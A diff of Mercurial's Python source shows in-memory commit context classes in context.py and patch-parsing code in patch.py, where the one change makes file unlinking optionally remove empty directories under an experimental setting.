     # Mercurial <= 3.1 expects the filectxfn to raise IOError for missing files.
     # Extensions that need to retain compatibility across Mercurial 3.1 can use
     # this field to determine what to do in filectxfn.
     _returnnoneformissingfiles = True
 
     def __init__(self, repo, parents, text, files, filectxfn, user=None,
                  date=None, extra=None, branch=None, editor=False):
         super(memctx, self).__init__(repo, text, user, date, extra)
         self._rev = None
         self._node = None
         parents = [(p or nullid) for p in parents]
         p1, p2 = parents
         self._parents = [self._repo[p] for p in (p1, p2)]
         files = sorted(set(files))
         self._files = files
         if branch is not None:
             self._extra['branch'] = encoding.fromlocal(branch)
         self.substate = {}
 
         if isinstance(filectxfn, patch.filestore):
             filectxfn = memfilefrompatch(filectxfn)
         elif not callable(filectxfn):
             # if store is not callable, wrap it in a function
             filectxfn = memfilefromctx(filectxfn)
 
         # memoizing increases performance for e.g. vcs convert scenarios.
         self._filectxfn = makecachingfilectxfn(filectxfn)
 
         if editor:
             self._text = editor(self._repo, self, [])
             self._repo.savecommitmessage(self._text)
 
     def filectx(self, path, filelog=None):
         """get a file context from the working directory
 
         Returns None if file doesn't exist and should be removed."""
         return self._filectxfn(self._repo, self, path)
 
     def commit(self):
         """commit context to the repo"""
         return self._repo.commitctx(self)
 
     @propertycache
     def _manifest(self):
         """generate a manifest based on the return values of filectxfn"""
 
         # keep this simple for now; just worry about p1
         pctx = self._parents[0]
         man = pctx.manifest().copy()
 
         for f in self._status.modified:
             p1node = nullid
             p2node = nullid
             p = pctx[f].parents() # if file isn't in pctx, check p2?
             if len(p) > 0:
                 p1node = p[0].filenode()
                 if len(p) > 1:
                     p2node = p[1].filenode()
             man[f] = revlog.hash(self[f].data(), p1node, p2node)
 
         for f in self._status.added:
             man[f] = revlog.hash(self[f].data(), nullid, nullid)
 
         for f in self._status.removed:
             if f in man:
                 del man[f]
 
         return man
 
     @propertycache
     def _status(self):
         """Calculate exact status from ``files`` specified at construction
         """
         man1 = self.p1().manifest()
         p2 = self._parents[1]
         # "1 < len(self._parents)" can't be used for checking
         # existence of the 2nd parent, because "memctx._parents" is
         # explicitly initialized by the list, of which length is 2.
         if p2.node() != nullid:
             man2 = p2.manifest()
             managing = lambda f: f in man1 or f in man2
         else:
             managing = lambda f: f in man1
 
         modified, added, removed = [], [], []
         for f in self._files:
             if not managing(f):
                 added.append(f)
             elif self[f]:
                 modified.append(f)
             else:
                 removed.append(f)
 
         return scmutil.status(modified, added, removed, [], [], [], [])
 
 class memfilectx(committablefilectx):
     """memfilectx represents an in-memory file to commit.
 
     See memctx and committablefilectx for more details.
     """
     def __init__(self, repo, changectx, path, data, islink=False,
                  isexec=False, copied=None):
         """
         path is the normalized file path relative to repository root.
         data is the file content as a string.
         islink is True if the file is a symbolic link.
         isexec is True if the file is executable.
         copied is the source file path if current file was copied in the
         revision being committed, or None."""
         super(memfilectx, self).__init__(repo, path, None, changectx)
         self._data = data
         self._flags = (islink and 'l' or '') + (isexec and 'x' or '')
         self._copied = None
         if copied:
             self._copied = (copied, nullid)
 
     def data(self):
         return self._data
 
     def remove(self, ignoremissing=False):
         """wraps unlink for a repo's working directory"""
         # need to figure out what to do here
         del self._changectx[self._path]
 
     def write(self, data, flags, **kwargs):
         """wraps repo.wwrite"""
         self._data = data
 
 class overlayfilectx(committablefilectx):
     """Like memfilectx but take an original filectx and optional parameters to
     override parts of it. This is useful when fctx.data() is expensive (i.e.
     flag processor is expensive) and raw data, flags, and filenode could be
     reused (ex. rebase or mode-only amend a REVIDX_EXTSTORED file).
     """
 
     def __init__(self, originalfctx, datafunc=None, path=None, flags=None,
                  copied=None, ctx=None):
         """originalfctx: filecontext to duplicate
 
         datafunc: None or a function to override data (file content). It is a
         function to be lazy. path, flags, copied, ctx: None or overridden value
 
         copied could be (path, rev), or False. copied could also be just path,
         and will be converted to (path, nullid). This simplifies some callers.
         """
 
         if path is None:
             path = originalfctx.path()
         if ctx is None:
             ctx = originalfctx.changectx()
             ctxmatch = lambda: True
         else:
             ctxmatch = lambda: ctx == originalfctx.changectx()
 
         repo = originalfctx.repo()
         flog = originalfctx.filelog()
         super(overlayfilectx, self).__init__(repo, path, flog, ctx)
 
         if copied is None:
             copied = originalfctx.renamed()
             copiedmatch = lambda: True
         else:
             if copied and not isinstance(copied, tuple):
                 # repo._filecommit will recalculate copyrev so nullid is okay
                 copied = (copied, nullid)
             copiedmatch = lambda: copied == originalfctx.renamed()
 
         # When data, copied (could affect data), ctx (could affect filelog
         # parents) are not overridden, rawdata, rawflags, and filenode may be
         # reused (repo._filecommit should double check filelog parents).
         #
         # path, flags are not hashed in filelog (but in manifestlog) so they do
         # not affect reusable here.
         #
         # If ctx or copied is overridden to a same value with originalfctx,
         # still consider it's reusable. originalfctx.renamed() may be a bit
         # expensive so it's not called unless necessary. Assuming datafunc is
         # always expensive, do not call it for this "reusable" test.
         reusable = datafunc is None and ctxmatch() and copiedmatch()
 
         if datafunc is None:
             datafunc = originalfctx.data
         if flags is None:
             flags = originalfctx.flags()
 
         self._datafunc = datafunc
         self._flags = flags
         self._copied = copied
 
         if reusable:
             # copy extra fields from originalfctx
             attrs = ['rawdata', 'rawflags', '_filenode', '_filerev']
             for attr_ in attrs:
                 if util.safehasattr(originalfctx, attr_):
                     setattr(self, attr_, getattr(originalfctx, attr_))
 
     def data(self):
         return self._datafunc()
 
 class metadataonlyctx(committablectx):
     """Like memctx but it's reusing the manifest of different commit.
     Intended to be used by lightweight operations that are creating
     metadata-only changes.
 
     Revision information is supplied at initialization time.  'repo' is the
     current localrepo, 'ctx' is original revision which manifest we're reuisng
     'parents' is a sequence of two parent revisions identifiers (pass None for
     every missing parent), 'text' is the commit.
 
     user receives the committer name and defaults to current repository
     username, date is the commit date in any format supported by
     dateutil.parsedate() and defaults to current date, extra is a dictionary of
     metadata or is left empty.
     """
     def __init__(self, repo, originalctx, parents=None, text=None, user=None,
                  date=None, extra=None, editor=False):
         if text is None:
             text = originalctx.description()
         super(metadataonlyctx, self).__init__(repo, text, user, date, extra)
         self._rev = None
         self._node = None
         self._originalctx = originalctx
         self._manifestnode = originalctx.manifestnode()
         if parents is None:
             parents = originalctx.parents()
         else:
             parents = [repo[p] for p in parents if p is not None]
         parents = parents[:]
         while len(parents) < 2:
             parents.append(repo[nullid])
         p1, p2 = self._parents = parents
 
         # sanity check to ensure that the reused manifest parents are
         # manifests of our commit parents
         mp1, mp2 = self.manifestctx().parents
         if p1 != nullid and p1.manifestnode() != mp1:
             raise RuntimeError('can\'t reuse the manifest: '
                                'its p1 doesn\'t match the new ctx p1')
         if p2 != nullid and p2.manifestnode() != mp2:
             raise RuntimeError('can\'t reuse the manifest: '
                                'its p2 doesn\'t match the new ctx p2')
 
         self._files = originalctx.files()
         self.substate = {}
 
         if editor:
             self._text = editor(self._repo, self, [])
             self._repo.savecommitmessage(self._text)
 
     def manifestnode(self):
         return self._manifestnode
 
     @property
     def _manifestctx(self):
         return self._repo.manifestlog[self._manifestnode]
 
     def filectx(self, path, filelog=None):
         return self._originalctx.filectx(path, filelog=filelog)
 
     def commit(self):
         """commit context to the repo"""
         return self._repo.commitctx(self)
 
     @property
     def _manifest(self):
         return self._originalctx.manifest()
 
     @propertycache
     def _status(self):
         """Calculate exact status from ``files`` specified in the ``origctx``
         and parents manifests.
         """
         man1 = self.p1().manifest()
         p2 = self._parents[1]
         # "1 < len(self._parents)" can't be used for checking
         # existence of the 2nd parent, because "metadataonlyctx._parents" is
         # explicitly initialized by the list, of which length is 2.
         if p2.node() != nullid:
             man2 = p2.manifest()
             managing = lambda f: f in man1 or f in man2
         else:
             managing = lambda f: f in man1
 
         modified, added, removed = [], [], []
         for f in self._files:
             if not managing(f):
                 added.append(f)
             elif f in self:
                 modified.append(f)
             else:
                 removed.append(f)
 
         return scmutil.status(modified, added, removed, [], [], [], [])
 
 class arbitraryfilectx(object):
     """Allows you to use filectx-like functions on a file in an arbitrary
     location on disk, possibly not in the working directory.
     """
     def __init__(self, path, repo=None):
         # Repo is optional because contrib/simplemerge uses this class.
         self._repo = repo
         self._path = path
 
     def cmp(self, fctx):
         # filecmp follows symlinks whereas `cmp` should not, so skip the fast
         # path if either side is a symlink.
         symlinks = ('l' in self.flags() or 'l' in fctx.flags())
         if not symlinks and isinstance(fctx, workingfilectx) and self._repo:
             # Add a fast-path for merge if both sides are disk-backed.
             # Note that filecmp uses the opposite return values (True if same)
             # from our cmp functions (True if different).
             return not filecmp.cmp(self.path(), self._repo.wjoin(fctx.path()))
         return self.data() != fctx.data()
 
     def path(self):
         return self._path
 
     def flags(self):
         return ''
 
     def data(self):
         return util.readfile(self._path)
 
     def decodeddata(self):
         with open(self._path, "rb") as f:
             return f.read()
 
     def remove(self):
         util.unlink(self._path)
 
     def write(self, data, flags, **kwargs):
         assert not flags
         with open(self._path, "w") as f:
             f.write(data)

mercurial/patch.py

@@ -1,2950 +1,2951 b''
 # patch.py - patch file parsing routines
 #
 # Copyright 2006 Brendan Cully <[e-mail]>
 # Copyright 2007 Chris Mason <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import, print_function
 
 import collections
 import contextlib
 import copy
 import email
 import errno
 import hashlib
 import os
 import posixpath
 import re
 import shutil
 import zlib
 
 from .i18n import _
 from .node import (
     hex,
     short,
 )
 from . import (
     copies,
     diffhelper,
     encoding,
     error,
     mail,
     mdiff,
     pathutil,
     pycompat,
     scmutil,
     similar,
     util,
     vfs as vfsmod,
 )
 from .utils import (
     dateutil,
     procutil,
     stringutil,
 )
 
 stringio = util.stringio
 
 gitre = re.compile(br'diff --git a/(.*) b/(.*)')
 tabsplitter = re.compile(br'(\t+|[^\t]+)')
 wordsplitter = re.compile(br'(\t+| +|[a-zA-Z0-9_\x80-\xff]+|'
                           b'[^ \ta-zA-Z0-9_\x80-\xff])')
 
 PatchError = error.PatchError
 
 # public functions
 
 def split(stream):
     '''return an iterator of individual patches from a stream'''
     def isheader(line, inheader):
         if inheader and line.startswith((' ', '\t')):
             # continuation
             return True
         if line.startswith((' ', '-', '+')):
             # diff line - don't check for header pattern in there
             return False
         l = line.split(': ', 1)
         return len(l) == 2 and ' ' not in l[0]
 
     def chunk(lines):
         return stringio(''.join(lines))
 
     def hgsplit(stream, cur):
         inheader = True
 
         for line in stream:
             if not line.strip():
                 inheader = False
             if not inheader and line.startswith('# HG changeset patch'):
                 yield chunk(cur)
                 cur = []
                 inheader = True
 
             cur.append(line)
 
         if cur:
             yield chunk(cur)
 
     def mboxsplit(stream, cur):
         for line in stream:
             if line.startswith('From '):
                 for c in split(chunk(cur[1:])):
                     yield c
                 cur = []
 
             cur.append(line)
 
         if cur:
             for c in split(chunk(cur[1:])):
                 yield c
 
     def mimesplit(stream, cur):
         def msgfp(m):
             fp = stringio()
             g = email.Generator.Generator(fp, mangle_from_=False)
             g.flatten(m)
             fp.seek(0)
             return fp
 
         for line in stream:
             cur.append(line)
         c = chunk(cur)
 
         m = mail.parse(c)
         if not m.is_multipart():
             yield msgfp(m)
         else:
             ok_types = ('text/plain', 'text/x-diff', 'text/x-patch')
             for part in m.walk():
                 ct = part.get_content_type()
                 if ct not in ok_types:
                     continue
                 yield msgfp(part)
 
     def headersplit(stream, cur):
         inheader = False
 
         for line in stream:
             if not inheader and isheader(line, inheader):
                 yield chunk(cur)
                 cur = []
                 inheader = True
             if inheader and not isheader(line, inheader):
                 inheader = False
 
             cur.append(line)
 
         if cur:
             yield chunk(cur)
 
     def remainder(cur):
         yield chunk(cur)
 
     class fiter(object):
         def __init__(self, fp):
             self.fp = fp
 
         def __iter__(self):
             return self
 
         def next(self):
             l = self.fp.readline()
             if not l:
                 raise StopIteration
             return l
 
         __next__ = next
 
     inheader = False
     cur = []
 
     mimeheaders = ['content-type']
 
     if not util.safehasattr(stream, 'next'):
         # http responses, for example, have readline but not next
         stream = fiter(stream)
 
     for line in stream:
         cur.append(line)
         if line.startswith('# HG changeset patch'):
             return hgsplit(stream, cur)
         elif line.startswith('From '):
             return mboxsplit(stream, cur)
         elif isheader(line, inheader):
             inheader = True
             if line.split(':', 1)[0].lower() in mimeheaders:
                 # let email parser handle this
                 return mimesplit(stream, cur)
         elif line.startswith('--- ') and inheader:
             # No evil headers seen by diff start, split by hand
             return headersplit(stream, cur)
         # Not enough info, keep reading
 
     # if we are here, we have a very plain patch
     return remainder(cur)
 
 ## Some facility for extensible patch parsing:
 # list of pairs ("header to match", "data key")
 patchheadermap = [('Date', 'date'),
                   ('Branch', 'branch'),
                   ('Node ID', 'nodeid'),
                  ]
 
 @contextlib.contextmanager
 def extract(ui, fileobj):
     '''extract patch from data read from fileobj.
 
     patch can be a normal patch or contained in an email message.
 
     return a dictionary. Standard keys are:
       - filename,
       - message,
       - user,
       - date,
       - branch,
       - node,
       - p1,
       - p2.
     Any item can be missing from the dictionary. If filename is missing,
     fileobj did not contain a patch. Caller must unlink filename when done.'''
 
     fd, tmpname = pycompat.mkstemp(prefix='hg-patch-')
     tmpfp = os.fdopen(fd, r'wb')
     try:
         yield _extract(ui, fileobj, tmpname, tmpfp)
     finally:
         tmpfp.close()
         os.unlink(tmpname)
 
 def _extract(ui, fileobj, tmpname, tmpfp):
 
     # attempt to detect the start of a patch
     # (this heuristic is borrowed from quilt)
     diffre = re.compile(br'^(?:Index:[ \t]|diff[ \t]-|RCS file: |'
                         br'retrieving revision [0-9]+(\.[0-9]+)*$|'
                         br'---[ \t].*?^\+\+\+[ \t]|'
                         br'\*\*\*[ \t].*?^---[ \t])',
                         re.MULTILINE | re.DOTALL)
 
     data = {}
 
     msg = mail.parse(fileobj)
 
     subject = msg[r'Subject'] and mail.headdecode(msg[r'Subject'])
     data['user'] = msg[r'From'] and mail.headdecode(msg[r'From'])
     if not subject and not data['user']:
         # Not an email, restore parsed headers if any
         subject = '\n'.join(': '.join(map(encoding.strtolocal, h))
                             for h in msg.items()) + '\n'
 
     # should try to parse msg['Date']
     parents = []
 
     if subject:
         if subject.startswith('[PATCH'):
             pend = subject.find(']')
             if pend >= 0:
                 subject = subject[pend + 1:].lstrip()
         subject = re.sub(br'\n[ \t]+', ' ', subject)
         ui.debug('Subject: %s\n' % subject)
     if data['user']:
         ui.debug('From: %s\n' % data['user'])
     diffs_seen = 0
     ok_types = ('text/plain', 'text/x-diff', 'text/x-patch')
     message = ''
     for part in msg.walk():
         content_type = pycompat.bytestr(part.get_content_type())
         ui.debug('Content-Type: %s\n' % content_type)
         if content_type not in ok_types:
             continue
         payload = part.get_payload(decode=True)
         m = diffre.search(payload)
         if m:
             hgpatch = False
             hgpatchheader = False
             ignoretext = False
 
             ui.debug('found patch at byte %d\n' % m.start(0))
             diffs_seen += 1
             cfp = stringio()
             for line in payload[:m.start(0)].splitlines():
                 if line.startswith('# HG changeset patch') and not hgpatch:
                     ui.debug('patch generated by hg export\n')
                     hgpatch = True
                     hgpatchheader = True
                     # drop earlier commit message content
                     cfp.seek(0)
                     cfp.truncate()
                     subject = None
                 elif hgpatchheader:
                     if line.startswith('# User '):
                         data['user'] = line[7:]
                         ui.debug('From: %s\n' % data['user'])
                     elif line.startswith("# Parent "):
                         parents.append(line[9:].lstrip())
                     elif line.startswith("# "):
                         for header, key in patchheadermap:
                             prefix = '# %s ' % header
                             if line.startswith(prefix):
                                 data[key] = line[len(prefix):]
                     else:
                         hgpatchheader = False
                 elif line == '---':
                     ignoretext = True
                 if not hgpatchheader and not ignoretext:
                     cfp.write(line)
                     cfp.write('\n')
             message = cfp.getvalue()
             if tmpfp:
                 tmpfp.write(payload)
                 if not payload.endswith('\n'):
                     tmpfp.write('\n')
         elif not diffs_seen and message and content_type == 'text/plain':
             message += '\n' + payload
 
     if subject and not message.startswith(subject):
         message = '%s\n%s' % (subject, message)
     data['message'] = message
     tmpfp.close()
     if parents:
         data['p1'] = parents.pop(0)
         if parents:
             data['p2'] = parents.pop(0)
 
     if diffs_seen:
         data['filename'] = tmpname
 
     return data
 
 class patchmeta(object):
     """Patched file metadata
 
     'op' is the performed operation within ADD, DELETE, RENAME, MODIFY
     or COPY.  'path' is patched file path. 'oldpath' is set to the
     origin file when 'op' is either COPY or RENAME, None otherwise. If
     file mode is changed, 'mode' is a tuple (islink, isexec) where
     'islink' is True if the file is a symlink and 'isexec' is True if
     the file is executable. Otherwise, 'mode' is None.
     """
     def __init__(self, path):
         self.path = path
         self.oldpath = None
         self.mode = None
         self.op = 'MODIFY'
         self.binary = False
 
     def setmode(self, mode):
         islink = mode & 0o20000
         isexec = mode & 0o100
         self.mode = (islink, isexec)
 
     def copy(self):
         other = patchmeta(self.path)
         other.oldpath = self.oldpath
         other.mode = self.mode
         other.op = self.op
         other.binary = self.binary
         return other
 
     def _ispatchinga(self, afile):
         if afile == '/dev/null':
             return self.op == 'ADD'
         return afile == 'a/' + (self.oldpath or self.path)
 
     def _ispatchingb(self, bfile):
         if bfile == '/dev/null':
             return self.op == 'DELETE'
         return bfile == 'b/' + self.path
 
     def ispatching(self, afile, bfile):
         return self._ispatchinga(afile) and self._ispatchingb(bfile)
 
     def __repr__(self):
         return "<patchmeta %s %r>" % (self.op, self.path)
 
 def readgitpatch(lr):
     """extract git-style metadata about patches from <patchname>"""
 
     # Filter patch for git information
     gp = None
     gitpatches = []
     for line in lr:
         line = line.rstrip(' \r\n')
         if line.startswith('diff --git a/'):
             m = gitre.match(line)
             if m:
                 if gp:
                     gitpatches.append(gp)
                 dst = m.group(2)
                 gp = patchmeta(dst)
         elif gp:
             if line.startswith('--- '):
                 gitpatches.append(gp)
                 gp = None
                 continue
             if line.startswith('rename from '):
                 gp.op = 'RENAME'
                 gp.oldpath = line[12:]
             elif line.startswith('rename to '):
                 gp.path = line[10:]
             elif line.startswith('copy from '):
                 gp.op = 'COPY'
                 gp.oldpath = line[10:]
             elif line.startswith('copy to '):
                 gp.path = line[8:]
             elif line.startswith('deleted file'):
                 gp.op = 'DELETE'
             elif line.startswith('new file mode '):
                 gp.op = 'ADD'
                 gp.setmode(int(line[-6:], 8))
             elif line.startswith('new mode '):
                 gp.setmode(int(line[-6:], 8))
             elif line.startswith('GIT binary patch'):
                 gp.binary = True
     if gp:
         gitpatches.append(gp)
 
     return gitpatches
 
 class linereader(object):
     # simple class to allow pushing lines back into the input stream
     def __init__(self, fp):
         self.fp = fp
         self.buf = []
 
     def push(self, line):
         if line is not None:
             self.buf.append(line)
 
     def readline(self):
         if self.buf:
             l = self.buf[0]
             del self.buf[0]
             return l
         return self.fp.readline()
 
     def __iter__(self):
         return iter(self.readline, '')
 
 class abstractbackend(object):
     def __init__(self, ui):
         self.ui = ui
 
     def getfile(self, fname):
         """Return target file data and flags as a (data, (islink,
         isexec)) tuple. Data is None if file is missing/deleted.
         """
         raise NotImplementedError
 
     def setfile(self, fname, data, mode, copysource):
         """Write data to target file fname and set its mode. mode is a
         (islink, isexec) tuple. If data is None, the file content should
         be left unchanged. If the file is modified after being copied,
         copysource is set to the original file name.
         """
         raise NotImplementedError
 
     def unlink(self, fname):
         """Unlink target file."""
         raise NotImplementedError
 
     def writerej(self, fname, failed, total, lines):
         """Write rejected lines for fname. total is the number of hunks
         which failed to apply and total the total number of hunks for this
         files.
         """
 
     def exists(self, fname):
         raise NotImplementedError
 
     def close(self):
         raise NotImplementedError
 
 class fsbackend(abstractbackend):
     def __init__(self, ui, basedir):
         super(fsbackend, self).__init__(ui)
         self.opener = vfsmod.vfs(basedir)
 
     def getfile(self, fname):
         if self.opener.islink(fname):
             return (self.opener.readlink(fname), (True, False))
 
         isexec = False
         try:
             isexec = self.opener.lstat(fname).st_mode & 0o100 != 0
         except OSError as e:
             if e.errno != errno.ENOENT:
                 raise
         try:
             return (self.opener.read(fname), (False, isexec))
         except IOError as e:
             if e.errno != errno.ENOENT:
                 raise
             return None, None
 
     def setfile(self, fname, data, mode, copysource):
         islink, isexec = mode
         if data is None:
             self.opener.setflags(fname, islink, isexec)
             return
         if islink:
             self.opener.symlink(data, fname)
         else:
             self.opener.write(fname, data)
             if isexec:
                 self.opener.setflags(fname, False, True)
 
     def unlink(self, fname):
-        self.opener.unlinkpath(fname, ignoremissing=True)
+        rmdir = self.ui.configbool('experimental', 'removeemptydirs')
+        self.opener.unlinkpath(fname, ignoremissing=True, rmdir=rmdir)
 
     def writerej(self, fname, failed, total, lines):
         fname = fname + ".rej"
         self.ui.warn(
             _("%d out of %d hunks FAILED -- saving rejects to file %s\n") %
             (failed, total, fname))
         fp = self.opener(fname, 'w')
         fp.writelines(lines)
         fp.close()
 
     def exists(self, fname):
         return self.opener.lexists(fname)
 
 class workingbackend(fsbackend):
     def __init__(self, ui, repo, similarity):
         super(workingbackend, self).__init__(ui, repo.root)
         self.repo = repo
         self.similarity = similarity
         self.removed = set()
         self.changed = set()
         self.copied = []
 
     def _checkknown(self, fname):
         if self.repo.dirstate[fname] == '?' and self.exists(fname):
             raise PatchError(_('cannot patch %s: file is not tracked') % fname)
 
     def setfile(self, fname, data, mode, copysource):
         self._checkknown(fname)
         super(workingbackend, self).setfile(fname, data, mode, copysource)
         if copysource is not None:
             self.copied.append((copysource, fname))
         self.changed.add(fname)
 
     def unlink(self, fname):
         self._checkknown(fname)
         super(workingbackend, self).unlink(fname)
         self.removed.add(fname)
         self.changed.add(fname)
 
     def close(self):
         wctx = self.repo[None]
         changed = set(self.changed)
         for src, dst in self.copied:
             scmutil.dirstatecopy(self.ui, self.repo, wctx, src, dst)
         if self.removed:
             wctx.forget(sorted(self.removed))
             for f in self.removed:
                 if f not in self.repo.dirstate:
                     # File was deleted and no longer belongs to the
                     # dirstate, it was probably marked added then
                     # deleted, and should not be considered by
                     # marktouched().
                     changed.discard(f)
         if changed:
             scmutil.marktouched(self.repo, changed, self.similarity)
         return sorted(self.changed)
 
 class filestore(object):
     def __init__(self, maxsize=None):
         self.opener = None
         self.files = {}
         self.created = 0
         self.maxsize = maxsize
         if self.maxsize is None:
             self.maxsize = 4*(2**20)
         self.size = 0
         self.data = {}
 
     def setfile(self, fname, data, mode, copied=None):
         if self.maxsize < 0 or (len(data) + self.size) <= self.maxsize:
             self.data[fname] = (data, mode, copied)
             self.size += len(data)
         else:
             if self.opener is None:
                 root = pycompat.mkdtemp(prefix='hg-patch-')
                 self.opener = vfsmod.vfs(root)
             # Avoid filename issues with these simple names
             fn = '%d' % self.created
             self.opener.write(fn, data)
             self.created += 1
             self.files[fname] = (fn, mode, copied)
 
     def getfile(self, fname):
         if fname in self.data:
             return self.data[fname]
         if not self.opener or fname not in self.files:
             return None, None, None
         fn, mode, copied = self.files[fname]
         return self.opener.read(fn), mode, copied
 
     def close(self):
         if self.opener:
             shutil.rmtree(self.opener.base)
 
 class repobackend(abstractbackend):
     def __init__(self, ui, repo, ctx, store):
         super(repobackend, self).__init__(ui)
         self.repo = repo
         self.ctx = ctx
         self.store = store
         self.changed = set()
         self.removed = set()
         self.copied = {}
 
     def _checkknown(self, fname):
         if fname not in self.ctx:
             raise PatchError(_('cannot patch %s: file is not tracked') % fname)
 
     def getfile(self, fname):
         try:
             fctx = self.ctx[fname]
         except error.LookupError:
             return None, None
         flags = fctx.flags()
         return fctx.data(), ('l' in flags, 'x' in flags)
 
     def setfile(self, fname, data, mode, copysource):
         if copysource:
             self._checkknown(copysource)
         if data is None:
             data = self.ctx[fname].data()
         self.store.setfile(fname, data, mode, copysource)
         self.changed.add(fname)
         if copysource:
             self.copied[fname] = copysource
 
     def unlink(self, fname):
         self._checkknown(fname)
         self.removed.add(fname)
 
     def exists(self, fname):
         return fname in self.ctx
 
     def close(self):
         return self.changed | self.removed
 
 # @@ -start,len +start,len @@ or @@ -start +start @@ if len is 1
 unidesc = re.compile('@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@')
 contextdesc = re.compile('(?:---|\*\*\*) (\d+)(?:,(\d+))? (?:---|\*\*\*)')
 eolmodes = ['strict', 'crlf', 'lf', 'auto']
 
 class patchfile(object):
     def __init__(self, ui, gp, backend, store, eolmode='strict'):
         self.fname = gp.path
         self.eolmode = eolmode
         self.eol = None
         self.backend = backend
         self.ui = ui
         self.lines = []
         self.exists = False
         self.missing = True
         self.mode = gp.mode
         self.copysource = gp.oldpath
         self.create = gp.op in ('ADD', 'COPY', 'RENAME')
         self.remove = gp.op == 'DELETE'
         if self.copysource is None:
             data, mode = backend.getfile(self.fname)
         else:
             data, mode = store.getfile(self.copysource)[:2]
         if data is not None:
             self.exists = self.copysource is None or backend.exists(self.fname)
             self.missing = False
             if data:
                 self.lines = mdiff.splitnewlines(data)
             if self.mode is None:
                 self.mode = mode
             if self.lines:
                 # Normalize line endings
                 if self.lines[0].endswith('\r\n'):
                     self.eol = '\r\n'
                 elif self.lines[0].endswith('\n'):
                     self.eol = '\n'
                 if eolmode != 'strict':
                     nlines = []
                     for l in self.lines:
                         if l.endswith('\r\n'):
                             l = l[:-2] + '\n'
                         nlines.append(l)
                     self.lines = nlines
         else:
             if self.create:
                 self.missing = False
             if self.mode is None:
                 self.mode = (False, False)
         if self.missing:
             self.ui.warn(_("unable to find '%s' for patching\n") % self.fname)
             self.ui.warn(_("(use '--prefix' to apply patch relative to the "
                            "current directory)\n"))
 
         self.hash = {}
         self.dirty = 0
         self.offset = 0
         self.skew = 0
         self.rej = []
         self.fileprinted = False
         self.printfile(False)
         self.hunks = 0
 
     def writelines(self, fname, lines, mode):
         if self.eolmode == 'auto':
             eol = self.eol
         elif self.eolmode == 'crlf':
             eol = '\r\n'
         else:
             eol = '\n'
 
         if self.eolmode != 'strict' and eol and eol != '\n':
             rawlines = []
             for l in lines:
                 if l and l.endswith('\n'):
                     l = l[:-1] + eol
                 rawlines.append(l)
             lines = rawlines
 
         self.backend.setfile(fname, ''.join(lines), mode, self.copysource)
 
     def printfile(self, warn):
         if self.fileprinted:
             return
         if warn or self.ui.verbose:
             self.fileprinted = True
         s = _("patching file %s\n") % self.fname
         if warn:
             self.ui.warn(s)
         else:
             self.ui.note(s)
 
 
     def findlines(self, l, linenum):
         # looks through the hash and finds candidate lines.  The
         # result is a list of line numbers sorted based on distance
         # from linenum
 
         cand = self.hash.get(l, [])
         if len(cand) > 1:
             # resort our list of potentials forward then back.
             cand.sort(key=lambda x: abs(x - linenum))
         return cand
 
     def write_rej(self):
         # our rejects are a little different from patch(1).  This always
         # creates rejects in the same form as the original patch.  A file
         # header is inserted so that you can run the reject through patch again
         # without having to type the filename.
         if not self.rej:
             return
         base = os.path.basename(self.fname)
         lines = ["--- %s\n+++ %s\n" % (base, base)]
         for x in self.rej:
             for l in x.hunk:
                 lines.append(l)
                 if l[-1:] != '\n':
                     lines.append("\n\ No newline at end of file\n")
         self.backend.writerej(self.fname, len(self.rej), self.hunks, lines)
 
     def apply(self, h):
         if not h.complete():
             raise PatchError(_("bad hunk #%d %s (%d %d %d %d)") %
                             (h.number, h.desc, len(h.a), h.lena, len(h.b),
                             h.lenb))
 
         self.hunks += 1
 
         if self.missing:
             self.rej.append(h)
             return -1
 
         if self.exists and self.create:
             if self.copysource:
                 self.ui.warn(_("cannot create %s: destination already "
                                "exists\n") % self.fname)
             else:
                 self.ui.warn(_("file %s already exists\n") % self.fname)
             self.rej.append(h)
             return -1
 
         if isinstance(h, binhunk):
             if self.remove:
                 self.backend.unlink(self.fname)
             else:
                 l = h.new(self.lines)
                 self.lines[:] = l
                 self.offset += len(l)
                 self.dirty = True
             return 0
 
         horig = h
         if (self.eolmode in ('crlf', 'lf')
             or self.eolmode == 'auto' and self.eol):
             # If new eols are going to be normalized, then normalize
             # hunk data before patching. Otherwise, preserve input
             # line-endings.
             h = h.getnormalized()
 
         # fast case first, no offsets, no fuzz
         old, oldstart, new, newstart = h.fuzzit(0, False)
         oldstart += self.offset
         orig_start = oldstart
         # if there's skew we want to emit the "(offset %d lines)" even
         # when the hunk cleanly applies at start + skew, so skip the
         # fast case code
         if self.skew == 0 and diffhelper.testhunk(old, self.lines, oldstart):
             if self.remove:
                 self.backend.unlink(self.fname)
             else:
                 self.lines[oldstart:oldstart + len(old)] = new
                 self.offset += len(new) - len(old)
                 self.dirty = True
             return 0
 
         # ok, we couldn't match the hunk. Lets look for offsets and fuzz it
         self.hash = {}
         for x, s in enumerate(self.lines):
             self.hash.setdefault(s, []).append(x)
 
         for fuzzlen in xrange(self.ui.configint("patch", "fuzz") + 1):
             for toponly in [True, False]:
                 old, oldstart, new, newstart = h.fuzzit(fuzzlen, toponly)
                 oldstart = oldstart + self.offset + self.skew
                 oldstart = min(oldstart, len(self.lines))
                 if old:
                     cand = self.findlines(old[0][1:], oldstart)
                 else:
                     # Only adding lines with no or fuzzed context, just
                     # take the skew in account
                     cand = [oldstart]
 
                 for l in cand:
                     if not old or diffhelper.testhunk(old, self.lines, l):
                         self.lines[l : l + len(old)] = new
                         self.offset += len(new) - len(old)
                         self.skew = l - orig_start
                         self.dirty = True
                         offset = l - orig_start - fuzzlen
                         if fuzzlen:
                             msg = _("Hunk #%d succeeded at %d "
                                     "with fuzz %d "
                                     "(offset %d lines).\n")
                             self.printfile(True)
                             self.ui.warn(msg %
                                 (h.number, l + 1, fuzzlen, offset))
                         else:
                             msg = _("Hunk #%d succeeded at %d "
                                     "(offset %d lines).\n")
                             self.ui.note(msg % (h.number, l + 1, offset))
                         return fuzzlen
         self.printfile(True)
         self.ui.warn(_("Hunk #%d FAILED at %d\n") % (h.number, orig_start))
         self.rej.append(horig)
         return -1
 
     def close(self):
         if self.dirty:
             self.writelines(self.fname, self.lines, self.mode)
         self.write_rej()
         return len(self.rej)
 
 class header(object):
     """patch header
     """
     diffgit_re = re.compile('diff --git a/(.*) b/(.*)$')
     diff_re = re.compile('diff -r .* (.*)$')
     allhunks_re = re.compile('(?:index|deleted file) ')
